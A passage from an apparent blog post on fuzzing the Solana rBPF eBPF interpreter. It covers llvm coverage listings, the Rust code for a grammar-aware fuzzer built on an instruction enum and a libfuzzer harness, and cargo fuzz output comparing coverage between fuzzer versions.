  913|  1.04k|                ebpf::XOR32_IMM  =>   reg[dst] = (reg[dst] as u32            ^ insn.imm  as u32) as u64,
  914|  2.74k|                ebpf::XOR32_REG  =>   reg[dst] = (reg[dst] as u32            ^ reg[src]  as u32) as u64,
  915|    349|                ebpf::MOV32_IMM  =>   reg[dst] = insn.imm  as u32                                as u64,
  916|  1.03k|                ebpf::MOV32_REG  =>   reg[dst] = (reg[src] as u32)                               as u64,
  917|      0|                ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
  918|      2|                ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
  919|      0|                ebpf::LE         => {
  920|      0|                    reg[dst] = match insn.imm {
  921|      0|                        16 => (reg[dst] as u16).to_le() as u64,
  922|      0|                        32 => (reg[dst] as u32).to_le() as u64,
  923|      0|                        64 =>  reg[dst].to_le(),
  924|       |                        _  => {
  925|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  926|       |                        }
  927|       |                    };
  928|       |                },
  929|      0|                ebpf::BE         => {
  930|      0|                    reg[dst] = match insn.imm {
  931|      0|                        16 => (reg[dst] as u16).to_be() as u64,
  932|      0|                        32 => (reg[dst] as u32).to_be() as u64,
  933|      0|                        64 =>  reg[dst].to_be(),
  934|       |                        _  => {
  935|      0|                            return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  936|       |                        }
  937|       |                    };
  938|       |                },
  939|       |
  940|       |                // BPF_ALU64 class
  941|    402|                ebpf::ADD64_IMM  => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
  942|    351|                ebpf::ADD64_REG  => reg[dst] = reg[dst].wrapping_add(reg[src]),
  943|  1.12k|                ebpf::SUB64_IMM  => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
  944|    721|                ebpf::SUB64_REG  => reg[dst] = reg[dst].wrapping_sub(reg[src]),
  945|  3.06k|                ebpf::MUL64_IMM  => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
  946|  1.71k|                ebpf::MUL64_REG  => reg[dst] = reg[dst].wrapping_mul(reg[src]),
  947|  1.39k|                ebpf::DIV64_IMM  => reg[dst] /= insn.imm as u64,
  948|       |                ebpf::DIV64_REG  => {
  949|     23|                    if reg[src] == 0 {
  950|     12|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  951|     11|                    }
  952|     11|                                    reg[dst] /= reg[src];
  953|       |                },
  954|       |                ebpf::SDIV64_IMM  => {
  955|  1.40k|                    if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
                                                                    ^0
  956|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  957|  1.40k|                    }
  958|  1.40k|
  959|  1.40k|                    reg[dst] = (reg[dst] as i64 / insn.imm) as u64
  960|       |                }
  961|       |                ebpf::SDIV64_REG  => {
  962|     12|                    if reg[src] == 0 {
  963|      5|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  964|      7|                    }
  965|      7|                    if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
                                                                    ^0
  966|      0|                        return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  967|      7|                    }
  968|      7|                    reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
  969|       |                },
  970|    838|                ebpf::OR64_IMM   => reg[dst] |=  insn.imm as u64,
  971|  1.37k|                ebpf::OR64_REG   => reg[dst] |=  reg[src],
  972|  2.14k|                ebpf::AND64_IMM  => reg[dst] &=  insn.imm as u64,
  973|  4.47k|                ebpf::AND64_REG  => reg[dst] &=  reg[src],
  974|      0|                ebpf::LSH64_IMM  => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
  975|  1.73k|                ebpf::LSH64_REG  => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
  976|      0|                ebpf::RSH64_IMM  => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
  977|  1.03k|                ebpf::RSH64_REG  => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
  978|  5.59k|                ebpf::NEG64      => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
  979|  2.85k|                ebpf::MOD64_IMM  => reg[dst] %= insn.imm  as u64,
  980|       |                ebpf::MOD64_REG  => {
  981|      3|                    if reg[src] == 0 {
  982|      2|                        return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
  983|      1|                    }
  984|      1|                                    reg[dst] %= reg[src];
  985|       |                },
  986|  2.28k|                ebpf::XOR64_IMM  => reg[dst] ^= insn.imm as u64,
  987|  1.41k|                ebpf::XOR64_REG  => reg[dst] ^= reg[src],
  988|    383|                ebpf::MOV64_IMM  => reg[dst] =  insn.imm as u64,
  989|  4.24k|                ebpf::MOV64_REG  => reg[dst] =  reg[src],
  990|      0|                ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
  991|    357|                ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
  992|       |
  993|       |                // BPF_JMP class
  994|  4.43k|                ebpf::JA         =>                                          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
  995|     10|                ebpf::JEQ_IMM    => if  reg[dst] == insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
  996|  1.36k|                ebpf::JEQ_REG    => if  reg[dst] == reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.36k                                                        ^2
  997|  4.16k|                ebpf::JGT_IMM    => if  reg[dst] >  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.42k                                                        ^2.74k
  998|  1.73k|                ebpf::JGT_REG    => if  reg[dst] >  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.39k                                                        ^343
  999|    343|                ebpf::JGE_IMM    => if  reg[dst] >= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1000|  2.04k|                ebpf::JGE_REG    => if  reg[dst] >= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.70k                                                        ^342
 1001|  2.04k|                ebpf::JLT_IMM    => if  reg[dst] <  insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.04k                                                        ^1
 1002|    342|                ebpf::JLT_REG    => if  reg[dst] <  reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1003|  1.02k|                ebpf::JLE_IMM    => if  reg[dst] <= insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                                                                                         ^0
 1004|  2.38k|                ebpf::JLE_REG    => if  reg[dst] <= reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.38k                                                        ^1
 1005|  1.76k|                ebpf::JSET_IMM   => if  reg[dst] &  insn.imm as u64 != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.42k                                                        ^347
 1006|    686|                ebpf::JSET_REG   => if  reg[dst] &  reg[src]        != 0     { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1007|  6.48k|                ebpf::JNE_IMM    => if  reg[dst] != insn.imm as u64          { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                                                                                         ^0
 1008|  2.44k|                ebpf::JNE_REG    => if  reg[dst] != reg[src]                 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.40k                                                        ^1.03k
 1009|  18.1k|                ebpf::JSGT_IMM   => if  reg[dst] as i64 >   insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^17.7k                                                        ^363
 1010|  2.08k|                ebpf::JSGT_REG   => if  reg[dst] as i64 >   reg[src]  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.07k                                                        ^12
 1011|  14.3k|                ebpf::JSGE_IMM   => if  reg[dst] as i64 >=  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^12.9k                                                        ^1.37k
 1012|  3.45k|                ebpf::JSGE_REG   => if  reg[dst] as i64 >=  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^3.44k                                                        ^12
 1013|  1.36k|                ebpf::JSLT_IMM   => if (reg[dst] as i64) <  insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^1.02k                                                        ^346
 1014|      2|                ebpf::JSLT_REG   => if (reg[dst] as i64) <  reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^0
 1015|  2.05k|                ebpf::JSLE_IMM   => if (reg[dst] as i64) <= insn.imm  as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^2.04k                                                        ^14
 1016|  6.83k|                ebpf::JSLE_REG   => if (reg[dst] as i64) <= reg[src] as i64  { next_pc = (next_pc as isize + insn.off as isize) as usize; },
                                                                                           ^6.83k                                                        ^7
 1017|       |
 1018|       |                ebpf::CALL_REG   => {
 1019|      0|                    let target_address = reg[insn.imm as usize];
 1020|      0|                    reg[ebpf::FRAME_PTR_REG] =
 1021|      0|                        self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1022|      0|                    if target_address < self.program_vm_addr {
 1023|      0|                        return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
 1024|      0|                    }
 1025|      0|                    next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
 1026|       |                },
 1027|       |
 1028|       |                // Do not delegate the check to the verifier, since registered functions can be
 1029|       |                // changed after the program has been verified.
 1030|       |                ebpf::CALL_IMM => {
 1031|     22|                    let mut resolved = false;
 1032|     22|                    let (syscalls, calls) = if config.static_syscalls {
 1033|     22|                        (insn.src == 0, insn.src != 0)
 1034|       |                    } else {
 1035|      0|                        (true, true)
 1036|       |                    };
 1037|       |
 1038|     22|                    if syscalls {
 1039|      2|                        if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
                                                  ^0
 1040|      0|                            resolved = true;
 1041|      0|
 1042|      0|                            if config.enable_instruction_meter {
 1043|      0|                                let _ = instruction_meter.consume(*last_insn_count);
 1044|      0|                            }
 1045|      0|                            *last_insn_count = 0;
 1046|      0|                            let mut result: ProgramResult<E> = Ok(0);
 1047|      0|                            (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
 1048|      0|                                self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
 1049|      0|                                reg[1],
 1050|      0|                                reg[2],
 1051|      0|                                reg[3],
 1052|      0|                                reg[4],
 1053|      0|                                reg[5],
 1054|      0|                                &self.memory_mapping,
 1055|      0|                                &mut result,
 1056|      0|                            );
 1057|      0|                            reg[0] = result?;
 1058|      0|                            if config.enable_instruction_meter {
 1059|      0|                                remaining_insn_count = instruction_meter.get_remaining();
 1060|      0|                            }
 1061|      2|                        }
 1062|     20|                    }
 1063|       |
 1064|     22|                    if calls {
 1065|     20|                        if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
                                                  ^0
 1066|      0|                            resolved = true;
 1067|       |
 1068|       |                            // make BPF to BPF call
 1069|      0|                            reg[ebpf::FRAME_PTR_REG] =
 1070|      0|                                self.stack.push(&reg[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
 1071|      0|                            next_pc = self.check_pc(pc, target_pc)?;
 1072|     20|                        }
 1073|      2|                    }
 1074|       |
 1075|     22|                    if !resolved {
 1076|     22|                        if config.disable_unresolved_symbols_at_runtime {
 1077|      6|                            return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
 1078|       |                        } else {
 1079|     16|                            self.executable.report_unresolved_symbol(pc)?;
 1080|       |                        }
 1081|      0|                    }
 1082|       |                }
 1083|       |
 1084|       |                ebpf::EXIT => {
 1085|     14|                    match self.stack.pop::<E>() {
 1086|      0|                        Ok((saved_reg, frame_ptr, ptr)) => {
 1087|      0|                            // Return from BPF to BPF call
 1088|      0|                            reg[ebpf::FIRST_SCRATCH_REG
 1089|      0|                                ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
 1090|      0|                                .copy_from_slice(&saved_reg);
 1091|      0|                            reg[ebpf::FRAME_PTR_REG] = frame_ptr;
 1092|      0|                            next_pc = self.check_pc(pc, ptr)?;
 1093|       |                        }
 1094|       |                        _ => {
 1095|     14|                            return Ok(reg[0]);
 1096|       |                        }
 1097|       |                    }
 1098|       |                }
 1099|      0|                _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
 1100|       |            }
 1101|       |
 1102|   135k|            if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
 1103|       |                // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
 1104|    130|                return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
 1105|   135k|            }
 1106|       |        }
 1107|       |
 1108|    419|        Err(EbpfError::ExecutionOverrun(
 1109|    419|            next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
 1110|    419|        ))
 1111|    763|    }

Unfortunately, this fuzzer doesn’t seem to achieve the coverage we expect. Several instructions are missed (note the 0 coverage on some branches of the match) and there are no jumps, calls, or other control-flow-relevant instructions. This is largely because throwing random bytes at any parser just isn’t going to be effective; most things will get caught at the verification stage, and very little will actually test the program.

We must improve this before we continue or we’ll be waiting forever for our fuzzer to find useful bugs.

At this point, we’re about two hours into development.

The smart fuzzer

eBPF is a quite simple instruction set; you can read the whole definition in just a few pages. Knowing this: why don’t we constrain our input to just these instructions? This approach is commonly called “grammar-aware” fuzzing on account of the fact that the inputs are constrained to some grammar. It is very powerful as a concept, and is used to test a variety of large targets which have strict parsing rules.

To create this grammar-aware fuzzer, I inspected the helpfully-named and provided insn_builder.rs which would allow me to create instructions. Now, all I needed to do was represent all the different instructions. By cross referencing with eBPF documentation, we can represent each possible operation in a single enum. You can see the whole grammar.rs in the rBPF repo if you wish, but the two most relevant sections are provided below.

Defining the enum that represents all instructions
#[derive(arbitrary::Arbitrary, Debug, Eq, PartialEq)]
pub enum FuzzedOp {
    Add(Source),
    Sub(Source),
    Mul(Source),
    Div(Source),
    BitOr(Source),
    BitAnd(Source),
    LeftShift(Source),
    RightShift(Source),
    Negate,
    Modulo(Source),
    BitXor(Source),
    Mov(Source),
    SRS(Source),
    SwapBytes(Endian),
    Load(MemSize),
    LoadAbs(MemSize),
    LoadInd(MemSize),
    LoadX(MemSize),
    Store(MemSize),
    StoreX(MemSize),
    Jump,
    JumpC(Cond, Source),
    Call,
    Exit,
}
Translating FuzzedOps to BpfCode
pub type FuzzProgram = Vec<FuzzedInstruction>;

pub fn make_program(prog: &FuzzProgram, arch: Arch) -> BpfCode {
    let mut code = BpfCode::default();
    for inst in prog {
        match inst.op {
            FuzzedOp::Add(src) => code
                .add(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Sub(src) => code
                .sub(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Mul(src) => code
                .mul(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Div(src) => code
                .div(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitOr(src) => code
                .bit_or(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitAnd(src) => code
                .bit_and(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LeftShift(src) => code
                .left_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::RightShift(src) => code
                .right_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Negate => code
                .negate(arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Modulo(src) => code
                .modulo(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::BitXor(src) => code
                .bit_xor(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Mov(src) => code
                .mov(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::SRS(src) => code
                .signed_right_shift(src, arch)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::SwapBytes(endian) => code
                .swap_bytes(endian)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Load(mem) => code
                .load(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadAbs(mem) => code
                .load_abs(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadInd(mem) => code
                .load_ind(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::LoadX(mem) => code
                .load_x(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Store(mem) => code
                .store(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::StoreX(mem) => code
                .store_x(mem)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Jump => code
                .jump_unconditional()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::JumpC(cond, src) => code
                .jump_conditional(cond, src)
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Call => code
                .call()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
            FuzzedOp::Exit => code
                .exit()
                .set_dst(inst.dst)
                .set_src(inst.src)
                .set_off(inst.off)
                .set_imm(inst.imm)
                .push(),
        };
    }
    code
}

You’ll see here that our generation doesn’t really care to ensure that instructions are valid, just that they’re in the right format. For example, we don’t verify registers, addresses, jump targets, etc.; we just slap it together and see if it works. This is to prevent over-specialisation, where our attempts to fuzz things only make “boring” inputs that don’t test cases that would normally be considered invalid.

Okay – let’s make a fuzzer with this. The only real difference here is that our input format is now changed to have our new FuzzProgram type instead of raw bytes:

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    prog: FuzzProgram,
    mem: Vec<u8>,
    arch: Arch,
}
The whole fuzzer, though really it's not that different

This fuzzer expresses a particular stage in development. The differential fuzzer is significantly different in a few key aspects that will be discussed later.

#![feature(bench_black_box)]
#![no_main]

use std::collections::BTreeMap;
use std::hint::black_box;

use libfuzzer_sys::fuzz_target;

use grammar_aware::*;
use solana_rbpf::{
    elf::{register_bpf_function, Executable},
    insn_builder::{Arch, IntoBytes},
    memory_region::MemoryRegion,
    user_error::UserError,
    verifier::check,
    vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};

use crate::common::ConfigTemplate;

mod common;
mod grammar_aware;

#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
    template: ConfigTemplate,
    prog: FuzzProgram,
    mem: Vec<u8>,
    arch: Arch,
}

fuzz_target!(|data: FuzzData| {
    let prog = make_program(&data.prog, data.arch);
    let config = data.template.into();
    if check(prog.into_bytes(), &config).is_err() {
        // verify please
        return;
    }
    let mut mem = data.mem;
    let registry = SyscallRegistry::default();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&config, &mut bpf_functions, &registry, 0, "entrypoint").unwrap();
    let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
        prog.into_bytes(),
        None,
        config,
        SyscallRegistry::default(),
        bpf_functions,
    )
    .unwrap();
    let mem_region = MemoryRegion::new_writable(&mem, ebpf::MM_INPUT_START);
    let mut vm =
        EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();

    drop(black_box(vm.execute_program_interpreted(
        &mut TestInstructionMeter { remaining: 1 << 16 },
    )));
});

Evaluation

Let’s see how well this version covers our target now.

$ cargo +nightly fuzz run smart -- -max_total_time=60
... snip ...
#1449846	REDUCE cov: 1730 ft: 6369 corp: 1019/168Kb lim: 4096 exec/s: 4832 rss: 358Mb L: 267/2963 MS: 1 EraseBytes-
#1450798	NEW    cov: 1730 ft: 6370 corp: 1020/168Kb lim: 4096 exec/s: 4835 rss: 358Mb L: 193/2963 MS: 2 InsertByte-InsertRepeatedBytes-
#1451609	NEW    cov: 1730 ft: 6371 corp: 1021/168Kb lim: 4096 exec/s: 4838 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452095	NEW    cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4840 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452830	DONE   cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4826 rss: 358Mb
Done 1452830 runs in 301 second(s)

Notice that our number of inputs tried (the number farthest left) is nearly half, but our cov and ft values are significantly higher.

Let’s evaluate that coverage a little more specifically:

$ cargo +nightly fuzz coverage smart
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/smart -instr-profile=fuzz/coverage/smart/coverage.profdata -show-line-counts-or-regions -show-instantiations -name=execute_program_interpreted_inner
Command output of rust-cov

If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.

<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
  709|    886|    fn execute_program_interpreted_inner(
  710|    886|        &mut self,
  711|    886|        instruction_meter: &mut I,
  712|    886|        initial_insn_count: u64,
  713|    886|        last_insn_count: &mut u64,
  714|    886|    ) -> ProgramResult<E> {
  715|    886|        // R1 points to beginning of input memory, R10 to the stack of the first frame
  716|    886|        let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
  717|    886|        reg[1] = ebpf::MM_INPUT_START;
  718|    886|
  719|    886|        // Loop on instructions
  720|    886|        let config = self.executable.get_config();
  721|    886|        let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
                                                                                                  ^0
  722|    886|        let mut remaining_insn_count = initial_insn_count;
  723|  2.16M|        while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
  724|  2.16M|            *last_insn_count += 1;
  725|  2.16M|            let pc = next_pc;
  726|  2.16M|            next_pc += 1;
  727|  2.16M|            let mut instruction_width = 1;
  728|  2.16M|            let mut insn = ebpf::get_insn_unchecked(self.program, pc);
  729|  2.16M|            let dst = insn.dst as usize;
  730|  2.16M|            let src = insn.src as usize;
  731|  2.16M|
  732|  2.16M|            if config.enable_instruction_tracing {
  733|      0|                let mut state = [0u64; 12];
  734|      0|                state[0..11].copy_from_slice(&reg);
  735|      0|                state[11] = pc as u64;
  736|      0|                self.tracer.trace(state);
  737|  2.16M|            }
  738|       |
  739|  2.16M|            match insn.opc {
  740|  2.16M|                _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
  741|      6|                    match insn.opc {
  742|      2|                        ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
  743|      4|                        ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
  744|       |                        _ => {
  745|       |                            #[cfg(debug_assertions)]
  746|      0|                            unreachable!("unexpected insn on r11")
  747|       |                        }
  748|       |                    }
  749|       |                }
  750|       |
  751|       |                // BPF_LD class
  752|       |                // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
  753|       |                // bother re-fetching it, just use ebpf::MM_INPUT_START already.
  754|       |                ebpf::LD_ABS_B   => {
  755|      5|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  756|      5|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^2
  757|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  758|       |                },
  759|       |                ebpf::LD_ABS_H   =>  {
  760|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  761|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  762|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  763|       |                },
  764|       |                ebpf::LD_ABS_W   => {
  765|      6|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  766|      6|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^2
  767|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  768|       |                },
  769|       |                ebpf::LD_ABS_DW  => {
  770|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
  771|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^1
  772|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  773|       |                },
  774|       |                ebpf::LD_IND_B   => {
  775|      9|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  776|      9|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^1
  777|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  778|       |                },
  779|       |                ebpf::LD_IND_H   => {
  780|      3|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  781|      3|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  782|      1|                    reg[0] = unsafe { *host_ptr as u64 };
  783|       |                },
  784|       |                ebpf::LD_IND_W   => {
  785|      4|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  786|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^2
  787|      2|                    reg[0] = unsafe { *host_ptr as u64 };
  788|       |                },
  789|       |                ebpf::LD_IND_DW  => {
  790|      2|                    let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
  791|      2|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
                                      ^0
  792|      0|                    reg[0] = unsafe { *host_ptr as u64 };
  793|       |                },
  794|       |
  795|      6|                ebpf::LD_DW_IMM  => {
  796|      6|                    ebpf::augment_lddw_unchecked(self.program, &mut insn);
  797|      6|                    instruction_width = 2;
  798|      6|                    next_pc += 1;
  799|      6|                    reg[dst] = insn.imm as u64;
  800|      6|                },
  801|       |
  802|       |                // BPF_LDX class
  803|       |                ebpf::LD_B_REG   => {
  804|     21|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  805|     21|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
                                      ^4
  806|      4|                    reg[dst] = unsafe { *host_ptr as u64 };
  807|       |                },
  808|       |                ebpf::LD_H_REG   => {
  809|      4|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  810|      4|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
                                      ^1
  811|      1|                    reg[dst] = unsafe { *host_ptr as u64 };
  812|       |                },
  813|       |                ebpf::LD_W_REG   => {
  814|     26|                    let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
  815|     26|                    let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
                                      ^19
  816|     19|                    reg[dst] = unsafe { *host_ptr as u64 };
